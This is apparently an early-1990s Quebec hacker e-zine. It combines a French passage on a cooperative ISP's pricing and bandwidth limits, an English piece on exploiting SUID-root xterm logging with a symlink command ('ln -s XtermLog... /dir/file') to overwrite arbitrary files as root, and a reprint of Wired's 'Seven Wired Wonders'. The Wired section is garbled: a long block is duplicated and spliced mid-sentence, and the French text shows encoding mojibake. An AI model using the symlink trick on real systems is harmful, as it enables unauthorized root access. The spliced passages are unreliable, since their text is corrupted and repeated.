en deux tranches:

Tranche A: de 3 heures du matin … 17 heures (dur‚e: 14 heures)
Tranche B: de 17 heures … 3 heures (dur‚e: 10 heures)

A chaque fois que vous allez payer votre cotisation mensuelle,
vous allez recevoir 60 ou 120 points, d‚pendant du tarif choisi. UN
point correspond … une heure dans la tranche A, et … la moiti‚ dans
la tranche B. Ce calcul pr‚vaut mˆme pour la fin de semaine.

Maintenant, supposons que les 100 usagers prennent le tarif de
35$, qui repr‚sente 2 heures dans la tranche B. Nous parlons de la
tranche de soir, parce que nous savons pertinemment que la majorit‚
d'entre vous allez effectuer vos appels … ce moment. Une ligne va
donc permettre, dans cette tranche de 10 heures, de servir 5
personnes (5 personnes x 2 heures = 10 heures). Nous avons dix
lignes, donc, ce qui fait qu'au plus 50 personnes vont pouvoir, en
th‚orie, ˆtre desservis dans la tranche de nuit. 50% des gens vont
pouvoir appeler dans la tranche B. Si maintenant on donnait 3
heures, 4 heures, ou un accŠs illimit‚, combien de personnes
pourraient se pr‚valoir, dans la tranche de nuit, des services de
LLC? Moins de 50%, that's for sure! Et mon bottom line, … moi,
c'est de tenter de donner un bon service … au moins 50% du monde...
En bas de d'‡a, le jeu n'en vaut plus la chandelle. Voil… pourquoi
on ne peut pas d‚cemment permettre, du moins au d‚but, aux gens
d'avoir plus de 2 heures d'accŠs dans la tranche B. Ceci dit, les
gens qui appellent de jour vont pouvoir, … titre de r‚compense,
utiliser deux fois plus de temps. Ce qui va nous permettre,
probablement, de faire grimper le taux de satisfaction … 60 ou 70%
(ou plus encore, qui sait).

Mais, allez-vous me dire (si vous avez compris l'explication
pr‚c‚dente), pourquoi ne pas mettre plus de dix lignes de
t‚l‚phone? Pourquoi ce ratio de dix usagers par ligne? Simple,
c'est une question de co–t: nous avons calcul‚, tout … l'heure,
combien il en co–tait pour partir le systŠme, combien il en co–tait
pour acheter l'‚quipement, et quels seraient les frais mensuels
pour le faire fonctionner. car n'oublions pas que rajouter une
ligne, c'est rajouter une carte Ethernet, rajouter un modem,
rajouter...

Mais combien va nous rapporter le systŠme?

Toujours sur une base de 100 usagers, calculez qu'il y en aura 50%
… 25$ et 50% … 35$. Ce qui fait:


100 usagers x 30$ = 3000$
moins frais mensuels = 1144$
------------------------------------
reste = 1856$

1856$ x 12 mois = 21,672$

22,800$ d'‚quipement emprunt‚ … la banque … 8% = 1824$ d'int‚rˆt

Ce qui veut dire qu'au bout d'un an, on est encore 2952$ dans le
trou. En gros, si on est ben chanceux, on r‚ussit … peine … payer
l'‚quipement en 1 an.

En effet, on a nos parts sociales (8000$), qui servent … payer
l'installation (1331$) et le d‚ficit de la premiŠre ann‚e (2952$),
ce qui nous laisse "dans le noir" de 3717$. C'est pas les chars,
mais c'est ‡a... Et cet argent sert … rembourser 46 parts sociales
si 46 membres nous quittent dans la premiŠre ann‚e.

Bien s–r. il y aura peut-ˆtre quelques usagers corporatifs, ‡a
et l…, et on va peut-ˆtre se faire commanditer la machine, et on va
aussi permettre aux gens de payer pour six mois ou douze mois (avec
une r‚duction … la cl‚, parce que ‡a va nous permettre d'emprunter
moins d'argent), mais le bottom line est ceci: si on ne charge pas
plus que 25$ et 35$, on ne peut pas diminuer le ratio de une ligne
de t‚l‚phone pour dix personnes, et on ne peut pas, par cons‚quent,
permettre … quelqu'un d'ˆtre plus que deux heures en ligne dans la
tranche de nuit. Jusqu'… ce que le systŠme soit pay‚... A partir de
l…...

3) Limitations du systŠme:

On en a d‚j… vu une, de limitation, et une embˆtante … part ‡…
(pour les gens qui passent plus de deux heures par soir sur
Internet, ce qui n'est tout de mˆme pas la majorit‚, heureusement).
Mais on a un autre problŠme en vue: le throughput... Voyez-vous, la
ligne que Fonorola nous fait … un prix d'ami (conditionnel aux deux
autres 56 kbps, mais nous y reviendrons) est une 56 m‚dium, comme
ils disent, avec une vitesse de 22 Kb\s, et un throughput (d‚bit)
MAXIMUM de 2000 Megs par mois. 2 Gigs par mois, c'est pas beaucoup.
Juste le service Usenet complet repr‚sente 50 megs PAR JOUR
(minimum). Un mois (30 jours) de Usenet repr‚senteraient … eux
seuls 1500 megs, et ne nous laisseraient que 500 megs dans le mois
pour les autres usages. Inacceptable! C'est pourquoi nous avons
pens‚ lib‚rer la bande de Usenet en le recevant par satellite, avec
le service Pagesat. On a vraiment pas le choix.

Et encore l…, faisons un calcul rapide: 2000 megs par mois, je
soustrais 500 megs pour le e-mail, IRC, Telnet, enfin, tout ce qui
n'implique pas de gros downloads, il nous reste 1500 megs de bande
passante par mois. Divisez par cent usagers, ‡a veut donc dire que
chaque usager aura droit, AU MAXIMUM, … 15 megs par mois de
download SUR INTERNET. C'est comme pas beaucoup. Mˆme que, pour
ˆtre safe, on devrait se garder une marge de s‚curit‚ et imposer
une limite de 12 megs par usager.

ATTENTION! Ces douze megs ne repr‚sentent pas votre limite
personnelle de download du systŠme de LLC … chez vous! Uniquement
ce qu'on peut aller chercher sur la ligne de Fonorola. Ce qui nous
fait dire qu'il va imp‚rativement falloir mettre nos ressources en
commun. Il va y avoir, donc, une section de files communes dans la
machine, et il va falloir que vous alliez obligatoirement y jeter
un coup d'oeil avant de downloader quelque chose … partir
d'Internet, pour voir s'il n'y est pas.

Exemple: Je veux aller sur un ordi de la NASA chercher la derniŠre
batch de photos de Pluton prises par la NASA. Je fais FTP sur
l'ordi de la Nasa, et je vois que le paquet s'appelle PLUTON.ZIP.
Je reviens sur LLC (‡a prend deux secondes), ou je consulte la
liste des fichiers de LLC que j'ai toujours sous la main, pour voir
si PLUTON.ZIP y est. Si oui, je vais chercher autre chose, ou je
reviens sur LLC et je le ramasse pour l'amener chez moi. Si le
paquet n'est pas d‚j… sur LLC, je le ramasse, je l'amŠne chez LLC,
j'en fait une copie dans la section publique, et le tour est jou‚.
Ca s'appelle mettre nos ressources en commun, et c'est ce qu'on va
ˆtre oblig‚s de faire, si on ne veut pas d‚foncer notre d‚bit
maximum autoris‚. Exemple: au lieu que chaque usager downloade sa
propre copie de Phrack 44 (600K x 100 usagers= 60 megs), un seul va
le chercher et l'amener sur LLC, o— tous les autres peuvent aller
le chercher gratuitement, sans empi‚ter sur leur 12 megs.

Mais, me demanderez-vous, qu'arrive-t-il si on d‚fonce notre
limite? Si on d‚fonce notre limite de 2 gigs par mois, Fonorola
nous facture au prix d'une 56 high, ce qui repr‚sente, au mieux,
une sur-facturation de 1200$. Mais ceci est encore en n‚gociation
avec Fonorola.

Encore l…, cette situation ne durera que le temps que notre
mat‚riel soit pay‚ et qu'on puisse investir dans une ligne plus
puissante. D'un autre c“t‚, ‡a nous garantit quasiment qu'on aura
pas affaire … des warez puppies sur le systŠme, parce que 12 megs
de jeux, c'est pas beaucoup. Et puis, cette situation n'affecte en
rien ceux qui font du IRC, ou tout autre service, … l'exception du
FTP.

Des limitations de temps, des limitations de download, c'est
plus Libert‚ Libert‚ Ch‚rie!, c'est Libert‚ Libert‚ Conditionnelle!
Que voulez-vous, si on continue … pratiquer des tarifs populaires
(et, personnellement, je ne reviendrai pas l…-dessus), on va
s'offrir le systŠme qu'on est capable de se payer, et on
l'am‚liorera … mesure que nos dettes disparaŒtront.

--------------------

Je vous le jure, c'est tout un casse-tˆte que de tenter de
partir ce machin-l…! Surtout que, souvenez-vous, pour b‚n‚ficier de
la 56 commandit‚e par Fonorola, il faut refourguer deux autres 56
au prix r‚gulier! Je vous avais propos‚ de prendre … ma charge ces
deux foutues 56 kbps, … condition que je me d‚niche une vingtaine
de slips mais, au moment o— j'‚cris ces lignes, je n'en ai guŠre la
moiti‚... et je ne suis pas trŠs optimiste de ce c“t‚-l….

Quel bordel! Mais, vous me connaissez, tˆtu que je suis, je
vais trouver une autre solution... Il FAUT trouver une autre
solution. Quelle qu'elle soit, la seule chose que je peux vous
garantir, c'est une communaut‚ cybern‚tique o— vous aurez accŠs
pour pas cher. Pour le reste, la coop‚rative, Fonorola, et tout le
bataclan, pour moi tout est n‚gociable. Je vous en reparle (mieux!
Je vous arrive avec des RSULTATS! Enfin... j'espŠre...) dans le
prochain NPC. D'ici l…, on va s–rement se voir en assembl‚e ou se
consulter by phone...

Enfin, ma propre exp‚rience me dit que le systŠme devrait
normalement ˆtre ouvert vers le 1er f‚vrier (avec un mois de retard
sur mon pr‚c‚dent pronostic, mais vous comprendrez qu'il y a un
paquet de travail encore … effectuer), si on est chanceux.

Ecrivez-moi pour me dire ce que vous en pensez, si vous voyez
des solutions, etc.


-----------------------------------------------------------------

úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú

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The state of Hacking in Quebec City
by:
Gurney Halleck

The following is a message I posted on some boards in 4i8 (this one
is from LORD (L0gRuS' board)). I though I would get some sort of answer. I
wrong I was... I mention a very serious bug that could let you gain root
very easely, and nobody replies. Nobody even asks HOW! The only thing hackers
in 4i8 know how to do is how to run JACK on a password file! They all thing
that JACK is the summum of hacking knowledge, how wrong they are! There is
much more to hacking than that!

----------------------------Enclosed message---------------------------------
Msg #: [1/1] Base: hacking.unix.security
Date : Fri 19 Nov 1993 6:00p Stat: Public
From : Gurney Halleck #4
To : All
Title: Xterm

Hello,

Anybody familiar with the Xterm program (used in Xwindow) (need to
phisically access to the terminal too) ? Well it has a tendency to run SUID
root on many systems (SUID root programs always look good ;-) Well this one
has a little problem, you can make a log of what appears on your screen and
it is logged as UID root in a file named Xtermlog.xxxxx

I am offering my admiration to someone who can tell me who to exploit
this hole (I know how, I'm making this a contest of hacking knowledge) So,
please post your answers, I will declare a winner in 1 week...

I want just a general description of how to exploit it, no specifics are
needed (but in case of a tie, it might count!)


Gurney Halleck [NPC]
-----------------------------------------------------------------------------

First, there was no winner. But I will tell you anyway how it works
hopping somebody out there will learn something.

Now, the first thing you do is start the logging, by pressing CTRL
and the left mouse button. Then open up another window and check the file
name. Let's say it's XtermLog.a5321 , you would now need to link it to
another file somewhere on the system. You do it like this:
ln -s XtermLog.a5321 /dir/file

Because Xterm is SUID root, you will be able to write to any file
on the file system. Although Xterm usually runs SUID root, expect that fact to
change in the near futur...

So, as I said before, got to learn more than how to use JACK boys and
girls...

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úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú

-----------------------------------------------------------------

Ce que WIRED n'a pas publi‚...

Intro de Blitzkreig

Le dernier num‚ro de Wired ((1.6) publiait un petit texte sur
les 7 merveilles du monde techonolique. Pour la circonstance, ils
avaient demand‚ … un paquet d'‚crivains, de chercheurs, de gurus de
l'info de donner leur opinion. Ils n'en ont publi‚ que quelques-
uns. Nous avons r‚ussi … mettre la main sur les autres... Les
voici, en primeur, en exclusivit‚, en ce que vous voulez. Des
textes de Nicolas Negroponte, de Arthur C. Clarke, et de plusieurs
autres. Des textes in‚dits. Qui d'autre que NPC pour vous les
offrir?



Wired 1.6
Seven Wired Wonders
*******************

Long before the birth of Christ, historians of the ancient world
attempted to catalog humanity's most spectacular triumphs. The
"Seven Wonders of the World" included such crowd pleasers as the
Egyptian pyramids, the Hanging Gardens of Babylon, and the Colossus
of Rhodes. Over the centuries the list was continually revised;
until, by the late 1950s, we started hearing about the "Seven
Wonders of the Modern World." The all-new lineup focused mainly on
elegant engineering feats like the Empire State Building, Golden
Gate Bridge, and Eiffel Tower: monuments which, despite their
relative antiquity, are still pretty impressive today.

These lists have one thing in common: They catalog beautiful and
impressive things. But things as wonders are becoming obsolete. One
of the most telling facts about our present age -- call it the
Neosilicate -- is that many of our best and brightest achievements
are conceptual. When future generations weigh our accomplishments,
they're more likely to cite gene mapping and the Internet than the
Sears Tower.

The seminal achievement of the Neolithic, or "new stone," age
(8,000-1,500 BC) was the development of permanent communities and
agriculture. The overarching achievement of the Neosilicate (from
1971, when the first "microprocessor" was minted, to the present)
is the Digital Revolution.

The notion that all of our input about the physical universe --
from the X ray signature of a supernova to the visual textures of
a Van Gogh -- can be broken down into binary code is one of the
most useful, thrilling, and arrogant ideas our species has
fashioned.
Originating with the Taoists (whose yin/yang philosophy is over 50
centuries old), the binary model now informs every field of science
and is redefining contemporary culture as well. Everything about
the computer-driven 1990s -- the shape of our car seats, the way we
record music, even what we call community -- owes a debt to the
digital boom.

In light of this fresh perspective, Wired thought it would be fun
to revive an old tradition. Last June, we sent letters off to 100
individuals who have been, in our estimation, conspicuous beacons
on the broad frontier of high technology. Each of these persons --
scientists, artists, theorists, and social gadflies -- was invited
to send in nominations for a new list: The Seven Wired Wonders of
the World.

The results were dizzying. There was some overlap, of course (for
example, the telecommunications net and various vestiges of our
once-great space program) but not much. Some people named
projects, some people named people. Some of the lists were corny
and cerebral, while others sailed in from some ontological
outfield.

On the following pages, then, just in time for the fin de
millennium, appear the Seven Techno-Wonders of the World. The final
list was compiled by our editors, based (for the most part) on the
nominations we received. As you read, it might be interesting to
bear this in mind: of the original Seven Wonders, only one -- the
Great Pyramid -- remains. We can only imagine the glorious
Lighthouse at Alexandria, the Temple of Artemis at Ephesus, or the
vast Mausoleum at Halicarnassus. One has to wonder what future
Wired readers -- 3,000 years hence -- will recall of our own
generation's noblest works.

Only time (lots of it) will tell. In the meantime, have fun -- and
let us know if we left anything out. -- Jeff Greenwald

NET
^^^

After a century of fading into our bedside tables and kitchen
walls, the telephone -- both the instrument and its network -- is
on the march again. As a device shrinking to pocket size, the
telephone is subsuming the rest of our technological baggage -- the
fax machine, the pager, the clock, the compass, the stock ticker,
and the television.

A sign of the telephone's power: It is pressing the computer into
service as its accessory, not the other way round.

We know now that the telephone is not just a device. It is a
network -- it is the network, copper or fiber or wireless --
sprouting terminals that may just as well be workstations as
headsets or Princesses. As the network spreads, it is fostering
both the universality and the individuality of human discourse. The
Net itself, the world's fastest-spreading communications medium, is
the telephone network in its most liberating, unruly, and fertile
new agriculture. The overarching achievement of the Neosilicate
(from 1971, when the first "microprocessor" was minted, to the
present) is the Digital Revolution.

The notion that all of our input about the physical universe --
from the X ray signature of a supernova to the visual textures of
a Van Gogh -- can be broken down into binary code is one of the
most useful, thrilling, and arrogant ideas our species has
fashioned.

Originating with the Taoists (whose yin/yang philosophy is over 50
centuries old), the binary model now informs every field of science
and is redefining contemporary culture as well. Everything about
the computer-driven 1990s -- the shape of our car seats, the way we
record music, even what we call community -- owes a debt to the
digital boom.

In light of this fresh perspective, Wired thought it would be fun
to revive an old tradition. Last June, we sent letters off to 100
individuals who have been, in our estimation, conspicuous beacons
on the broad frontier of high technology. Each of these persons --
scientists, artists, theorists, and social gadflies -- was invited
to send in nominations for a new list: The Seven Wired Wonders of
the World.

The results were dizzying. There was some overlap, of course (for
example, the telecommunications net and various vestiges of our
once-great space program) but not much. Some people named
projects, some people named people. Some of the lists were corny
and cerebral, while others sailed in from some ontological
outfield.

On the following pages, then, just in time for the fin de
millennium, appear the Seven Techno-Wonders of the World. The final
list was compiled by our editors, based (for the most part) on the
nominations we received. As you read, it might be interesting to
bear this in mind: of the original Seven Wonders, only one -- the
Great Pyramid -- remains. We can only imagine the glorious
Lighthouse at Alexandria, the Temple of Artemis at Ephesus, or the
vast Mausoleum at Halicarnassus. One has to wonder what future
Wired readers -- 3,000 years hence -- will recall of our own
generation's noblest works.

Only time (lots of it) will tell. In the meantime, have fun -- and
let us know if we left anything out. -- Jeff Greenwald

NET
^^^

After a century of fading into our bedside tables and kitchen
walls, the telephone -- both the instrument and its network -- is
on the march again. As a device shrinking to pocket size, the
telephone is subsuming the rest of our technological baggage -- the
fax machine, the pager, the clock, the compass, the stock ticker,
and the television. A sign of the telephone's power: It is pressing
the computer into service as its accessory, not the other way
round.

We know now that the telephone is not just a device. It is a
network -- it is the network, copper or fiber or wireless --
sprouting terminals that may just as well be workstations as
headsets or Princesses. As the network spreads, it is fostering
both the universality and the individuality of human discourse. The
Net itself, the world's fastest-spreading communications medium, is
the telephone network in its most liberating, unruly, and fertile
new guise.

Thus Bell's child is freeing our understanding of the possibilities
that lie in ancient words: neighborhood and meeting and information
and news. It is global; it is democratic; it is the central agent
of change in our sense of community. It is how, and why, we are
wired. -- James Gleick


James Gleick (gleick@pipeline.com), the author of Chaos: Making a
New Science and Genius: The Life and Science of Richard Feynman, is
working on a cultural history of the telephone. He is also the
founder of New York's new Internet gateway, the Pipeline.



Micromanufacturing
^^^^^^^^^^^^^^^^^^

The wonders of the ancient world were monumental, but the
wonders of the modern world are increasingly microscopic. Modern
technology rides an exponential explosion of computer capability
driven by an exponential implosion in the size of computer devices.

The computer revolution began in the 1940s with million-dollar
machines processing hundreds of instructions per second. Since
then, the cost of computing and the performance of the machines
have improved by a factor of a thousand, dropping the cost of
computing by a million-fold. We now have thousand-dollar machines
that process millions of instructions per second. Computer cost and
device size have fallen together on a steep exponential curve.

The engine that powers this computer revolution is
micromanufacturing. Micromanufacturing packs more and more
devices into each chip - devices that switch faster and consume
less energy. In 1945, computers used vacuum tubes the size of your
thumb. Today they use transistors so small that a hundred could sit
on the tiny round stump of a severed hair.

Where is this leading? All signs point to a revolution that
advances to the limits set by natural law and the molecular
graininess of matter. Trends in miniaturization point to remarkable
results around 2015: Device sizes will shrink to molecular
dimensions; switching energies will diminish to the scale of
molecular vibrations. With devices like these, a million modern
supercomputers could fit in your pocket. Detailed studies already
show how such devices can work and how they can be made, using
molecules as building blocks.

The necessary methods, though, are no longer those of traditional
micromanufacturing. Molecular control will require the methods of
molecular manufacturing: nanotechnology. A new approach and a
vigorous effort might even jump the schedule: Japan launched a $200
million program last January. -- K. Eric Drexler



Digital Astronomy
^^^^^^^^^^^^^^^^^

The newly inaugurated Keck Telescope, the world's largest gatherer
of starlight from ancient galaxies, embodies the grand traditions
of classical astronomy while vaulting into the next millennium.
Housed in a gleaming white dome amid the lunar landscape of
Hawaii's Mauna Kea at a dizzying 13,600-foot altitude, Keck is a
ground-based optical telescope, built with private funds ($75
million worth) under the guidance of a single individual (the
telescope's chief designer and scientific director, the University
of California at Berkeley astronomer Jerry Nelson). That much it
has in common with its legendary precursors at Palomar, Lick, and
Mount Wilson.

To focus in more closely, though, is to witness the technology of
the future. Keck's light-gathering mirror, 10 meters across, is
comprised of thirty-six hexagonal segments. Computer-controlled
actuators tune the mirror segments twice per second, keeping each
aligned to within one millionth of an inch. In 1996 a second
identical telescope is to go into operation in a dome of its own,
85 meters away. Together they will comprise the largest pair of
binoculars in the solar system, a tool capable of scrutinizing the
depths of space and time with unprecedented clarity.

Working in concert with a flotilla of scientific satellites like
COBE (which mapped radiation emitted in the big bang when the
universe was only one million years old), Einstein and ROSAT (which
study the skies in the high-energy wavelengths of X rays and
ultraviolet light, respectively), and, hopefully, an
astronaut-repaired Hubble, Keck takes a prominent place in a new
digital astronomy.

Like most major telescopes today, Keck records images using CCD
(charge-coupled device) chips that are forty to a hundred times
more sensitive to light than photographic emulsions. (Similar
technology, used in today's video cameras, makes it possible to
shoot scenes lit only by candlelight.) Since the CCDs produce
digital images that can be transmitted across the world in moments,
Keck eventually may join a global network of remote-controlled
telescopes that can be utilized by scientists -- or even amateur
astronomers -- from their desktop workstations. Lost will be the
romantic specter of solitary astronomers toiling nights on frigid
mountain tops, but much will be gained as well. Innumerable
treasures of the universe, from the starfields of nearby galaxies
to extinct quasars patrolling the outer limits of space-time, will
have been brought within the reach of more human eyes than was
possible ever before. -- Timothy Ferris

Timothy Ferris has written seven books, including The Mind's Sky
and Coming of Age in the Milky Way. In addition to authoring more
than 100 articles on science and astronomy, Ferris produced the
Voyager phonograph record: a musical artifact of human civilization
launched aboard the Voyager interstellar spacecraft.



Senior Citizens
^^^^^^^^^^^^^^^

Among the greatest feats of biosocial engineering ever executed and
yet one that remains strangely overlooked is our abundance of
senior citizens.

Prior to WWII, an old person was an oddity in Western culture,
comprising only an insignificant proportion of the general
populace. Now -- and particularly into the next century -- old
people and their needs that will dominate political and social
debate almost exclusively.

There is no historical precedent for this, in any place or any
time.

Because of their relative scarcity until recently, our culture as
a whole has tended to sentimentalize and over-revere old people. As
events have played out, an abundance of "elders" has in no way
shepherded in a golden age of wisdom and knowledge. Any notions
of a wisdom-filled, Grandpa-Waltonian utopia were shelved years
ago. Life extension has become a monolithic, unstoppable end in
itself.

Question: Has it been worth it? Where, exactly, is the "wisdom
dividend"?

The wisdom dividend has turned out to be neither spiritual, nor
cosmic or slight, but (as with the benefits of space travel or war
in this century) played out in a vast technological trickle-down.

The dream of an immortal society is the dominant engine powering
the bulk of most 20th-century research in countless areas including
medicine, pharmaceuticals, surgery, and life extension techniques
as well as developments in politics and finance -- entitlements,
pension funds, mutual funds.

The major question society must ask itself right now is, "When does
the dream stop outweighing the benefits?" (And what's the deal
with all these Bob Hope specials?) -- Douglas Coupland



Douglas Coupland is the author of Generation X and Shampoo Planet.

His next book, Life After God, will be published in February, 1994.
He grew up, and still resides, in Vancouver, Canada.



The Human Genome Project
^^^^^^^^^^^^^^^^^^^^^^^^

The comparison is too arresting to pass up. On the one hand,
there's binary code: the orderly, controlled strand of ones and
zeros that gives us our spreadsheets and our Vivaldi CDs and
eventually our television. On the other hand, there's the genetic
code: orderly but cryptic, double-helical strands runged with
nucleotides that govern our fetal development, our eye color, and
our likelihood of dying of Alzheimer's. The first is understood,
the second is not. That's what the massive $1 billion Human Genome
Project is all about: reading our own source code and making sense
of the three billion base pairs along our 24 chromosomes by finding
the location and function of each of our 100,000 genes.

The project, overseen by the National Institutes of Health, is
expected to take more than a decade -- Big Science, to be sure, but
apparently pork-free. Employing hundreds of scientists, it's too
big a project for any one lab. The 1992 announcement that
scientists had achieved the intermediate step of creating a
physical map (essentially, a rough sketch) of chromosome 21,
believed to contain an Alzheimer's gene, was a global effort run
mainly by researchers in France, with help from scientists in
Spain, Japan, and the United States.

There's plenty of risk ahead. In the wrong hands, a little
chromosomal knowledge could lead to experiments that would make
Dr. Frankenstein blush - or to disastrous invasions of privacy.
(What happens to your life insurance rates if the company knows
you're more likely to have a heart attack than your neighbor?) But
there's promise, too. Doctors using genome data will be able to
spot the roughly 3,000 genetic defects that lead to disease. Some
will be correctable with new medical therapies being pioneered
today, others will just be warning flags. Genetics is not always
destiny. If your gene map shows that you have a predisposition
toward high cholesterol, your doctor will be able to steer you away
from enchiladas suisas. -- John Schwartz



John Schwartz covers science for the Washington Post



Neuromantic Drugs
^^^^^^^^^^^^^^^^^

"There's nothing wrong with you that a little Prozac and a polo
mallet won't cure." -- Woody Allen, Manhattan Murder Mystery


From the early 20th century (when marijuana was declared a
narcotic and cocaine was jettisoned from Coca-Cola) until the mid-
1980s, the general (and official) reaction to any substance that
stirred the sacred scrim of "reality" was swift condemnation . .
.or equally blind enthusiasm.

No more. Heralded by modern antidepressants, seratonin inhibitors,
"smart drugs" like Hydergine, and a new generation of experimental
nootropics (molecules that act exclusively on the higher brain
centers), the era of designer consciousness-raising chemicals --
neuromantics -- is dawning. Modern psychobiology has provided us
with a marvelous paradox: the human mind, while still viewed as
luminous and ineffable, is also recognized as a stewpot of swirling
chemicals, synapses, and neural transmitter juices that can be
tweaked as easily as the pH level in your swimming pool.

The result will be an ever-widening acceptance of (and reliance
upon) pharmaceuticals that allow individuals to reformulate their
own cerebral mix. Pure LSD is currently available, by prescription,
in Switzerland; a book lionizing Prozac -- a wildly popular
antidepressant -- is on the best-seller lists nationwide (ten years
ago few even thought of depression as a disease). The use of
alleged cognition and memory enhancers like Piracetam, choline,
phenylalanine, and Hydergine, which already have huge cult
followings, will skyrocket as the drugs are improved and their
utility confirmed.

Anyone who grew up during the 1960s and 1970s is well aware of
the impact that the "acid culture" ultimately had on the 1990s.
Many of our finest artists, writers, technicians, and sages drew
pivotal inspirations from enhanced states. A similar renaissance
may well take place when neuromantics hit the mainstream. And one
thing's certain: It won't be a fringe culture. - Jeff Greenwald



Jeff Greenwald, author of Shopping for Buddhas (HarperCollins),
conceived and edited the Seven Wired Wonders. He is a frequent
contributor to Wired.



Immersive Technology
^^^^^^^^^^^^^^^^^^^^

Surround the human sensorium with imagery that is partially or
entirely other than that provided by the actual world, arranged in
ways that invite and support holistic human participation. The
result goes by many names: virtual reality, virtual environments,
artificial reality, multisensory interactive systems. All are
immersive prostheses for the imagination.

Immersive technology represents, on the one hand, the unattainable
grail at the end of the history of cinema, and on the other hand,
the beacon that draws creative energies toward the culmination of
computing. It replaces the traditional ethos of computing --
bodiless minds communicating via keyboard and screen -- with the
notion that the senses are primary causes of how and what we know,
think, and imagine. This technology is situated in a historical
vector: the exteriorization of human imagination. As Terence
McKenna says, the human journey boils down to the quest to turn
ourselves inside out.

From punched cards to interactive computing, from Zork to the
Holodeck, from Alfred Hitchcock's experiments with point of view to
Star Tours and its kin, we have inched along the incremental path
on this quest. Along the way, we have been forced to give up
relinquish notions about authorship and control. In the world of
immersion, authorship is no longer the transmission of experience,
but rather the construction of utterly personal experiences.

Just as 2001: A Space Odyssey was an index to the then-impossible
- in terms of its representation (simulation) and its object
(artificial intelligence) - so the Luxor complex in Las Vegas is a
contemporary index to the next wave of what Aristotle called
plausible impossibility: a dynamic first-person point of view on a
synthetic, imagination-hacked world. It is no accident that effects
wizard Douglas Trumbull has been intimately involved with the
articulation of both visions.

Convergence is in the air. One cannot help but sense that the
trajectory is an exponential curve. What next? Whatever, it's out
of here. Out of today's media constructs, saturated as they are
with a bogus third-person view. Out of here, and into here with new
eyes, ears, noses, fingers. . . on our own again, after the long
mediation of top-down authored experience, of broadcast culture and
mass-produced objects of desire. - Brenda Laurel

-------------

Et voici le bout in‚dit....

Other Wired Wonders
*******************

Digital
^^^^^^^

The techno-philosophic revolution of the 20th century is "DIGITAL."
Digital images, digital files, digital as a way of life.
Life is, and has always been, an analog flow of experience and
situations. We feel in an analog mode...any emotion is undefined
and continuous. Our ability to communicate and describe used to be
analog also. Images were brought into memory with photography,
musical performances were passed into wax -- processes which
approach the way we innately think and remember.

I used to make films, which required me to handle the frozen image.
That physicality was both powerful and frustrating. Video, on the
other hand, was a flow of images which I could never capture and
hold, but which I could mix into stories. They came from somewhere,
but the trail ended with the mix. Digital video images return the
power of the physical and extend it into the metaphysical.
The power of "Digital" extends into endless facets of everyday
life, far too numerous to count or comprehend. But for me, the
change from analog to digital has meant everything: a deeper
understanding of what makes an image, and why I create images. To
appreciate digital is not to remove it from the flow; it means
seeing an image clearly within the flux of a shot, a sequence, a
story, a movie, anything, anywhere. -- John Sanborn


Sanborn is an internationally known video artist and director who
has created works for museums as well as for broadcast television.



Holographic Video
^^^^^^^^^^^^^^^^^

I'm self-conscious about appearing to use Wired to toot the Media
Lab's horn. However, it would be hard not to include Holographic
Video as one of the techno-wonders.

It exists (the size of a tea cup, as of next Monday)

It will be how you watch football games in the year 2010.

Anything that needs 250,000 to 2,500,000 pixels PER SCAN LINE has
got to be a techno-something. -- Nicholas Negroponte


Negroponte is founder and Director of the MIT Media Lab, and the
Senior Columnist for Wired.



Telephone
^^^^^^^^^

I'm afraid I'm a techno-virgin. I wouldn't know a pentium chip from
a potato chip! So my techno-wonder is the common garden
telephone. The telephone is the root of many modern marvels, but
for me it rests in its ability to shrink time and space, to drop me
down in places I couldn't otherwise be, and to provide an umbilical
cord for globe-trotting Roddicks.

The telephone has also been the most powerful factor for the
meeting of minds since the invention of the printing press. Love
is no longer tracked by poems or letter -- it's now tracked on
telephone wires. -- Anita Roddick



Anita Roddick is an author, lecturer and the Creative Director of
the Body Shop International.



Deep Space Network NASA/JPL
^^^^^^^^^^^^^^^^^^^^^^^^^^^

The Deep Space Network NASA/JPL Guides interplanetary spacecraft.
Landed two craft on Mars within five miles of their intended
destination, inserted probes into near-Jupiter and near-Saturn
space within meters and fractions of a second of optimal
parameters. Has been used to test general theory of relativity,
measure distances on Earth to within fractions of an inch. System
consists of three radio dishes (US, Spain, Australia) linked to
NASA computers at Pasadena and elsewhere. - Timothy Ferris



Star Trek
^^^^^^^^^

My nomination is Star Trek, an icon of 20th century culture.
Although the technology seen on the show is largely fictional, the
show itself has had a profound impact on a generation of
scientists, engineers, computer programmers and other present-day
visionaries. It is difficult to find an area of significant
American technological or scientific achievement that does not have
one or more major players who were inspired as children by the
wonders of Gene Roddenberry's vision. -- Mike Okuda



Michael Okuda is a senior graphics artist and technical consultant
for Star Trek: The Next Generation and Deep Space Nine.



COBE
^^^^

The Techno-Wonder of my choice is COBE, the Cosmic Background
Explorer Satellite, in orbit since late 1990.

Its audacious, flawless measurements, whose all but incredible
consistency and precision have slain seven aspirant cosmologies at
one blow, throw more light on the inflationary origin of our
present cosmos since the discovery of the microwave background
nearly thirty years ago. What a device, and what a team of
investigators and engineers! -- Philip Morrison



A Professor of Physics and Astrophysics at MIT, he is also known
for his brilliant book reviews in Scientific American.



Super-Conducting Super Collider
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Congress has been playing Perils of Pauline with the funding for
the SSC for the last few years. If the 53 mile ring under the Texas
prairie is ever built, though, it will not only be the biggest
high-tech construction project ever completed, but will take us one
step closer to understanding the most fundamental question science
can ask: 'why is there a universe, and how does it work?' -- James
Trefil



James Trefil is Clarence J. Robinson Professor of Physics at George
Mason University in Virginia. His upcoming book, A Scientist in the
City, will be published by Doubleday in January.



ENIAC
^^^^^

Ben Franklin, Founding Father Ben Franklin is a Founding Father
not just of the Nation, but also of the nation's computer industry.
In 1749, Ben published his "Proposals relating to the Education of
Youth in Pennsylvania." This resulted in the formation of the
College of Pennsylvania, which became the University of
Pennsylvania, which organized (in 1923) the Moore School of
Electrical Engineering.

In June of 1943, a "Fixed Price Development and Research Contract"
between the United States of America and the Trustees of the
University of Pennsylvania was signed. The work was assigned to the
Moore School, and by June of 1944 it was accomplished.

The job was to build the computer which was named "Electronic
Numerical Integrator and Computer". We know it as ENIAC. -- Charlie
Rose



A senior congressman from North Carolina, Charlie Rose is Chairman
of the Committee on House Administration.


Nanotechnology
^^^^^^^^^^^^^^

